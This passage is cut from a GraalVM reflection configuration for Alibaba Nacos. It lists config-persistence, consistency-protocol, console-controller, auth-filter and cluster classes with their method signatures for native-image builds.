{\"name\":\"addConfigInfo\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.util.Map\"] }, {\"name\":\"addConfigInfoAtomic\",\"parameterTypes\":[\"long\",\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.util.Map\"] }, {\"name\":\"addConfigTagRelationAtomic\",\"parameterTypes\":[\"long\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"addConfigTagsRelation\",\"parameterTypes\":[\"long\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"batchInsertOrUpdate\",\"parameterTypes\":[\"java.util.List\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\",\"com.alibaba.nacos.config.server.model.SameConfigPolicy\"] }, {\"name\":\"configInfoCount\",\"parameterTypes\":[] }, {\"name\":\"configInfoCount\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"findAllConfigInfo4Export\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.util.List\"] }, {\"name\":\"findAllConfigInfoFragment\",\"parameterTypes\":[\"long\",\"int\",\"boolean\"] }, {\"name\":\"findChangeConfig\",\"parameterTypes\":[\"java.sql.Timestamp\",\"long\",\"int\"] }, {\"name\":\"findConfigAdvanceInfo\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigAllInfo\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigInfo\",\"parameterTypes\":[\"long\"] }, {\"name\":\"findConfigInfo\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigInfo4Page\",\"parameterTypes\":[\"int\",\"int\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\"] }, {\"name\":\"findConfigInfoLike4Page\",\"parameterTypes\":[\"int\",\"int\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\"] }, {\"name\":\"findConfigInfoState\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigInfosByIds\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"findConfigMaxId\",\"parameterTypes\":[] }, {\"name\":\"generateLikeArgument\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getGroupIdList\",\"parameterTypes\":[\"int\",\"int\"] }, {\"name\":\"getTenantIdList\",\"parameterTypes\":[\"int\",\"int\"] }, {\"name\":\"insertOrUpdate\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.util.Map\"] }, {\"name\":\"insertOrUpdateCas\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.util.Map\"] }, {\"name\":\"queryConfigInfoByNamespace\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"removeConfigInfo\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"removeConfigInfoAtomic\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"removeConfigInfoByIds\",\"parameterTypes\":[\"java.util.List\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"removeConfigInfoByIdsAtomic\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"removeTagByIdAtomic\",\"parameterTypes\":[\"long\"] }, {\"name\":\"selectTagByConfig\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"updateConfigInfo\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\"] }, {\"name\":\"updateConfigInfoAtomic\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\"] }, {\"name\":\"updateConfigInfoCas\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.extrnal.ExternalConfigInfoPersistServiceImpl$$SpringCGLIB$$0\",\n  \"fields\":[{\"name\":\"CGLIB$CALLBACK_FILTER\"}, {\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.extrnal.ExternalConfigInfoTagPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"addConfigInfo4Tag\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"configInfoTagCount\",\"parameterTypes\":[] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"findAllConfigInfoTagForDumpAll\",\"parameterTypes\":[\"int\",\"int\"] }, {\"name\":\"findConfigInfo4Tag\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigInfo4TagState\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigInfoTags\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"insertOrUpdateTag\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"insertOrUpdateTagCas\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"removeConfigInfoTag\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"updateConfigInfo4Tag\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"updateConfigInfo4TagCas\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.extrnal.ExternalConfigInfoTagPersistServiceImpl$$SpringCGLIB$$0\",\n  \"fields\":[{\"name\":\"CGLIB$CALLBACK_FILTER\"}, {\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.extrnal.ExternalHistoryConfigInfoPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"detailConfigHistory\",\"parameterTypes\":[\"java.lang.Long\"] }, {\"name\":\"detailPreviousConfigHistory\",\"parameterTypes\":[\"java.lang.Long\"] }, {\"name\":\"findConfigHistory\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"int\",\"int\"] }, {\"name\":\"findConfigHistoryCountByTime\",\"parameterTypes\":[\"java.sql.Timestamp\"] }, {\"name\":\"findDeletedConfig\",\"parameterTypes\":[\"java.sql.Timestamp\",\"long\",\"int\"] }, {\"name\":\"insertConfigHistoryAtomic\",\"parameterTypes\":[\"long\",\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.sql.Timestamp\",\"java.lang.String\"] }, {\"name\":\"removeConfigHistory\",\"parameterTypes\":[\"java.sql.Timestamp\",\"int\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.extrnal.ExternalHistoryConfigInfoPersistServiceImpl$$SpringCGLIB$$0\",\n  \"fields\":[{\"name\":\"CGLIB$CALLBACK_FILTER\"}, {\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.trace.ConfigTraceService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.utils.PropertyUtil\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.utils.ZipUtils$UnZipResult\"\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.utils.ZipUtils$ZipItem\"\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.CommandOperations\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"execute\",\"parameterTypes\":[\"java.util.Map\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.Config\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.ConsistencyProtocol\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"aGetData\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.ReadRequest\"] }, {\"name\":\"addRequestProcessors\",\"parameterTypes\":[\"java.util.Collection\"] }, {\"name\":\"getData\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.ReadRequest\"] }, {\"name\":\"init\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.Config\"] }, {\"name\":\"memberChange\",\"parameterTypes\":[\"java.util.Set\"] }, {\"name\":\"protocolMetaData\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"write\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.WriteRequest\"] }, {\"name\":\"writeAsync\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.WriteRequest\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.DataOperation\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.IdGenerator\"\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.ProtocolMetaData\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getMetaDataMap\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.RequestProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"onError\",\"parameterTypes\":[\"java.lang.Throwable\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.SerializeFactory\",\n  \"allDeclaredMethods\":true,\n  \"allDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.Serializer\",\n  \"allDeclaredMethods\":true,\n  \"allDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.ap.APProtocol\"\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.ap.RequestProcessor4AP\"\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.cp.CPProtocol\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.cp.RequestProcessor4CP\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.entity.ReadRequest\"\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.entity.Response\"\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.entity.WriteRequest\",\n  \"methods\":[{\"name\":\"getData\",\"parameterTypes\":[] }, {\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"getGroup\",\"parameterTypes\":[] }, {\"name\":\"getGroupBytes\",\"parameterTypes\":[] }, {\"name\":\"getKey\",\"parameterTypes\":[] }, {\"name\":\"getKeyBytes\",\"parameterTypes\":[] }, {\"name\":\"getOperation\",\"parameterTypes\":[] }, {\"name\":\"getOperationBytes\",\"parameterTypes\":[] }, {\"name\":\"getType\",\"parameterTypes\":[] }, {\"name\":\"getTypeBytes\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.entity.WriteRequest$Builder\",\n  \"methods\":[{\"name\":\"clearData\",\"parameterTypes\":[] }, {\"name\":\"clearGroup\",\"parameterTypes\":[] }, {\"name\":\"clearKey\",\"parameterTypes\":[] }, {\"name\":\"clearOperation\",\"parameterTypes\":[] }, {\"name\":\"clearType\",\"parameterTypes\":[] }, {\"name\":\"getData\",\"parameterTypes\":[] }, {\"name\":\"getGroup\",\"parameterTypes\":[] }, {\"name\":\"getKey\",\"parameterTypes\":[] }, {\"name\":\"getOperation\",\"parameterTypes\":[] }, {\"name\":\"getType\",\"parameterTypes\":[] }, {\"name\":\"setData\",\"parameterTypes\":[\"com.google.protobuf.ByteString\"] }, {\"name\":\"setGroup\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setGroupBytes\",\"parameterTypes\":[\"com.google.protobuf.ByteString\"] }, {\"name\":\"setKey\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setKeyBytes\",\"parameterTypes\":[\"com.google.protobuf.ByteString\"] }, {\"name\":\"setOperation\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setOperationBytes\",\"parameterTypes\":[\"com.google.protobuf.ByteString\"] }, {\"name\":\"setType\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setTypeBytes\",\"parameterTypes\":[\"com.google.protobuf.ByteString\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.serialize.HessianSerializer\",\n  \"allDeclaredMethods\":true,\n  \"allDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.serialize.JacksonSerializer\"\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.serialize.NacosHessianSerializerFactory\",\n  \"allDeclaredMethods\":true,\n  \"allDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.consistency.snapshot.LocalFileMeta\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.console.aot.BeanProcessorHints\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"postProcessBeforeInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.console.aot.NacosRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.console.config.ConsoleConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"corsFilter\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[] }, {\"name\":\"jacksonObjectMapperCustomization\",\"parameterTypes\":[] }, {\"name\":\"xssFilter\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.console.config.ConsoleModuleStateBuilder\"\n},\n{\n  \"name\":\"com.alibaba.nacos.console.controller.HealthController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.console.controller.HealthController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.console.controller.NamespaceController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getNamespaces\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.console.controller.NamespaceController__Autowiring\"\n},\n{\n  \"name\":\"com.alibaba.nacos.console.controller.NamespaceController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.console.controller.ServerStateController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getAnnouncement\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getConsoleUiGuide\",\"parameterTypes\":[] }, {\"name\":\"serverState\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.console.controller.ServerStateController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.console.controller.v2.HealthControllerV2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.console.controller.v2.HealthControllerV2__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.console.controller.v2.NamespaceControllerV2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.service.NamespaceOperationService\",\"com.alibaba.nacos.core.namespace.repository.NamespacePersistService\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.console.controller.v2.NamespaceControllerV2__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.console.exception.ConsoleExceptionHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.console.exception.NacosApiExceptionHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.console.filter.XssFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.console.paramcheck.ConsoleDefaultHttpParamExtractor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.ability.RemoteAbilityInitializer\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.ability.config.AbilityConfigs\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"onEvent\",\"parameterTypes\":[\"com.alibaba.nacos.common.notify.Event\"] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"subscribeType\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.ability.config.AbilityConfigs$$SpringCGLIB$$0\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"fields\":[{\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"CGLIB$SET_STATIC_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }, {\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.auth.AuthConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"authFilter\",\"parameterTypes\":[\"com.alibaba.nacos.auth.config.AuthConfigs\",\"com.alibaba.nacos.core.code.ControllerMethodsCache\"] }, {\"name\":\"authFilterRegistration\",\"parameterTypes\":[\"com.alibaba.nacos.core.auth.AuthFilter\"] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.auth.AuthConfig$$SpringCGLIB$$0\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"fields\":[{\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"CGLIB$SET_STATIC_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }, {\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.auth.AuthConfig$$SpringCGLIB$$FastClass$$0\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.auth.AuthConfig$$SpringCGLIB$$FastClass$$1\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.auth.AuthFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.auth.RemoteRequestAuthFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.auth.config.AuthConfigs\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.Member\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getAbilities\",\"parameterTypes\":[] }, {\"name\":\"getAddress\",\"parameterTypes\":[] }, {\"name\":\"getExtendInfo\",\"parameterTypes\":[] }, {\"name\":\"getFailAccessCnt\",\"parameterTypes\":[] }, {\"name\":\"getIp\",\"parameterTypes\":[] }, {\"name\":\"getPort\",\"parameterTypes\":[] }, {\"name\":\"getState\",\"parameterTypes\":[] }, {\"name\":\"isGrpcReportEnabled\",\"parameterTypes\":[] }, {\"name\":\"setAbilities\",\"parameterTypes\":[\"com.alibaba.nacos.api.ability.ServerAbilities\"] }, {\"name\":\"setAddress\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setExtendInfo\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setFailAccessCnt\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setGrpcReportEnabled\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setIp\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setPort\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setState\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.NodeState\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.MemberChangeListener\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"ignoreExpireEvent\",\"parameterTypes\":[] }, {\"name\":\"onEvent\",\"parameterTypes\":[\"com.alibaba.nacos.common.notify.Event\"] }, {\"name\":\"subscribeType\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.MemberLookup\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.MembersChangeEvent\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.NodeState\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.ServerMemberManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"jakarta.servlet.ServletContext\"] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.ApplicationEvent\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.ServerMemberManager$MemberInfoReportTask\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.health.AbstractModuleHealthChecker\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.remote.ClusterRpcClientProxy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[] }, {\"name\":\"onEvent\",\"parameterTypes\":[\"com.alibaba.nacos.common.notify.Event\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.remote.MemberReportHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.ServerMemberManager\"] }, {\"name\":\"handle\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.request.Request\",\"com.alibaba.nacos.api.remote.request.RequestMeta\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.remote.request.AbstractClusterRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getModule\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.remote.request.MemberReportRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getNode\",\"parameterTypes\":[] }, {\"name\":\"setNode\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.Member\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.remote.response.MemberReportResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getNode\",\"parameterTypes\":[] }, {\"name\":\"setNode\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.Member\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.code.ControllerMethodsCache\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  